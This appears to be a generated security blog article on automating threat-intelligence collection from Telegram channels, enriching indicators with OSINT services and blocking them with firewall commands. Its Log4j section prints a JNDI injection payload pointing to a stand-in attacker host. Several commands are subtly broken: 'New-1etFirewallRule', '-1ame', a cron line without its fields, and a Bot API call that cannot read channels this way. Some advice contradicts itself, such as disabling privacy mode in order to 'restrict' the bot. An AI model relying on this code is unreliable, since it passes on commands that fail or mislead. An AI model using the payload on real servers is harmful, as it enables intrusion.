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Introduction:
In today’s hyperconnected threat landscape, waiting for traditional security feeds is a recipe for disaster. Cybercriminals weaponize real-time communication platforms like Telegram to distribute zero‑day exploits, leaked credentials, and attack methodologies. Security researchers and organizations that tap into these channels gain a decisive edge, turning open‑source intelligence (OSINT) into actionable defence.
Learning Objectives:
– Set up automated extraction of Indicators of Compromise (IoCs) from Telegram threat intelligence channels.
– Harden API token security and implement cloud‑native ingestion pipelines for real‑time alerting.
– Apply Linux/Windows command‑line tools to validate, enrich, and respond to emerging threats.
You Should Know:
1. Automating IoC Harvesting from Telegram Using Python & Bot API
Extended concept:
The post by Mohit Soni (security researcher, CRTO, OSCP) highlights the Lancer InfoSec Telegram channel as a source of “real‑time updates on emerging threats.” To operationalize such feeds, you need to automate the collection of messages, extract URLs, IPs, and hashes, then feed them into your SIEM or EDR. Below is a step‑by‑step guide using Telegram’s Bot API.
Step‑by‑step guide – Linux / Windows (Python 3):
1. Create a Telegram bot
– Talk to [@BotFather](https://t.me/botfather) on Telegram.
– Send `/newbot` → choose a name → get your API token (e.g., `123456:ABC-DEF`).
2. Install dependencies
pip install python-telegram-bot requests pandas
3. Fetch recent messages from a public channel (replace `@LancerInfoSec` with actual channel username)
import requests
TOKEN = "YOUR_BOT_TOKEN"
CHANNEL = "@LancerInfoSec"
url = f"https://api.telegram.org/bot{TOKEN}/getUpdates?chat_id={CHANNEL}"
response = requests.get(url).json()
for update in response.get("result", []):
text = update["message"].get("text", "")
Extract URLs, IPs, hashes using regex
print(text)
4. Extract IoCs with regex (add to the loop)
import re
urls = re.findall(r'https?://[^\s]+', text)
ips = re.findall(r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b', text)
md5s = re.findall(r'\b[a-fA-F0-9]{32}\b', text)
5. Automate with cron (Linux) or Task Scheduler (Windows)
– Linux: `crontab -e` → `/5 /usr/bin/python3 /opt/ioc_harvester.py`
– Windows: Create a scheduled task that runs `python C:\tools\ioc_harvester.py` every 5 minutes.
Why this matters:
Manual monitoring of Telegram channels is error‑prone and slow. Automation allows your SOC to block malicious indicators within minutes of disclosure.
2. Hardening Telegram Bot API Tokens & Cloud Ingestion
Step‑by‑step guide – API security & cloud hardening:
Your Telegram bot token is a gateway to reading messages. If leaked, attackers can impersonate your bot or harvest intelligence meant for you.
1. Never hardcode tokens in scripts – use environment variables or a secrets manager.
– Linux: `export TELEGRAM_TOKEN=”your_token”` → in Python: `os.getenv(“TELEGRAM_TOKEN”)`
– Windows (PowerShell): `$env:TELEGRAM_TOKEN=”your_token”`
2. Restrict bot usage – by default any user can message your bot. Disable privacy mode (BotFather → `/setprivacy` → `Disable`) so the bot sees all channel messages, then set allowed usernames.
3. Deploy the harvester in a secure cloud environment (AWS Lambda / Azure Function)
– Use IAM roles with least privilege.
– Encrypt the token with AWS KMS or Azure Key Vault.
– Example AWS Lambda Python handler: fetch token from SSM Parameter Store.
4. Ingest IoCs into SIEM (Splunk, Sentinel, ELK)
– Push extracted IoCs via REST API:
curl -X POST "https://your-siem/api/indicators" -H "Authorization: Bearer $API_KEY" -d '{"ioc":"192.168.1.1", "type":"ip"}'
Linux/Windows command – verify token not exposed:
Linux – check for exposed tokens in running processes ps aux | grep -i telegram_token Windows PowerShell – search environment variables Get-ChildItem Env: | Select-String "telegram"
3. Threat Validation & Enrichment Using OSINT Tools
After harvesting IoCs, you must validate them before blocking. False positives can cause outages.
Step‑by‑step enrichment with free APIs:
1. VirusTotal (IP/Domain/URL)
curl -s "https://www.virustotal.com/api/v3/ip_addresses/8.8.8.8" -H "x-apikey: YOUR_VT_KEY" | jq '.data.attributes.last_analysis_stats'
2. AbuseIPDB – check IP reputation
curl -G "https://api.abuseipdb.com/api/v2/check" --data-urlencode "ipAddress=185.130.5.253" -H "Key: YOUR_ABUSE_KEY" -H "Accept: application/json"
3. Hybrid‑Analysis (file hash) – submit or check
import requests
hash = "44d88612fea8a8f36de82e1278abb02f"
url = f"https://www.hybrid-analysis.com/api/v2/search/hash/{hash}"
headers = {"api-key": "YOUR_HA_KEY"}
Automated decision logic:
If VirusTotal malicious score > 10 engines → add to firewall blocklist.
If no detections → store as “suspicious” for hunting.
4. Linux & Windows Commands for Real‑Time Indicator Response
Once an IoC is confirmed malicious, take immediate action.
Linux (iptables / nftables) – block IP:
sudo iptables -A INPUT -s 185.130.5.253 -j DROP sudo iptables -A OUTPUT -d 185.130.5.253 -j DROP
Windows (Firewall / PowerShell) – block IP:
New-1etFirewallRule -DisplayName "Block Malicious IP" -Direction Inbound -RemoteAddress 185.130.5.253 -Action Block
Kill malicious process by hash (Linux):
find /proc -maxdepth 2 -1ame "exe" -exec ls -l {} \; 2>/dev/null | grep -i <malicious_hash> | awk '{print $9}' | cut -d/ -f3 | xargs kill -9
Windows – terminate process by hash (PowerShell):
Get-Process | Where-Object { (Get-FileHash -Path $_.Path -Algorithm MD5).Hash -eq "44d88612fea8a8f36de82e1278abb02f" } | Stop-Process -Force
5. Building a Training Pipeline for SOC Analysts (Based on CRTO/OSCP Skills)
Mohit Soni’s profile (CRTO, OSCP, OSWP, CRTP) emphasizes red‑teaming and adversary simulation. Translate threat intelligence into internal training.
Step‑by‑step to create a hands‑on lab:
1. Collect real Telegram‑sourced threats – use your harvester to log 50 recent IoCs.
2. Build a vulnerable environment (e.g., VulnHub, HackTheBox machine with a CVE matching the threat).
3. Write detection rules (Sigma for log analysis):
title: Suspicious PowerShell Download from Telegram Reported IP status: experimental logsource: product: windows service: powershell detection: selection: CommandLine|contains: 'DownloadFile' SourceIP: '185.130.5.253' condition: selection
4. Simulate a live‑fire exercise – have juniors investigate an alert derived from your Telegram feed, then create a mitigation report.
Recommended certifications aligned with this workflow:
– CRTP (Certified Red Team Professional) – for Active Directory abuse based on fresh IoCs.
– OSCP – for manual exploitation validation.
– Lancer InfoSec’s own courses (mentioned in the post) – likely cover real‑time threat hunting.
6. Vulnerability Exploitation & Mitigation – Case Study from Telegram Feeds
Suppose a Telegram channel posts a new CVE exploit for Log4j (CVE-2021-44228). Your harvester extracts the URL of a proof‑of‑concept.
Exploitation (educational only):
Example JNDI payload
${jndi:ldap://malicious.com/a}
Mitigation – cloud hardening checklist:
– Update all Java apps to 2.17.0+.
– Set `log4j2.formatMsgNoLookups=true`.
– Block outbound LDAP/RMI from application subnets via AWS Security Group / Azure NSG:
Linux iptables sudo iptables -A OUTPUT -p tcp --dport 389,1389,1099 -j DROP
Proactive monitoring:
Use your Telegram feed to subscribe to CVE channels (`@cve_notify`), then automatically trigger a Lambda function that scans your cloud environment for vulnerable assets using tools like `trivy`.
What Undercode Say:
– Key Takeaway 1: Real‑time intelligence from platforms like Telegram is a force multiplier, but without automation and secure token handling, it creates more noise than value.
– Key Takeaway 2: The gap between “knowing a threat” and “blocking it” is where breaches happen – your response must be code‑driven, not manual.
– Analysis: Mohit Soni’s push for Telegram‑based threat feeds reflects a broader industry shift away from slow, signature‑based antivirus. However, SOC teams often lack the scripting skills (Python, regex, API integration) to ingest these feeds. The certifications he holds (OSCP, CRTO) emphasize offensive testing – but defence requires equally strong automation chops. A balanced team will combine red‑team insights with blue‑team pipelines. Moreover, over‑reliance on any single platform (Telegram) introduces risk: Telegram channels can be taken down or poisoned with false IoCs. Always validate with multiple OSINT sources.
Prediction:
– +1 Proactive threat intelligence from encrypted chat apps (Telegram, Discord, Signal) will become a standard input for next‑gen SIEM/SOAR platforms, leading to near‑zero‑day detection rates for financially motivated threat actors.
– -1 Attackers will increasingly flood these same channels with decoy IoCs and fabricated CVE reports, causing alert fatigue and potential DoS of automated defense mechanisms.
– +1 Security certifications (like CRTO and OSCP) will evolve to include mandatory modules on API‑based threat feed integration and bot automation, creating a new “Intelligence Engineer” role.
– -1 Organizations without dedicated security automation staff will fall further behind, as manual Telegram monitoring proves impossible at scale – widening the gap between mature and immature security postures.
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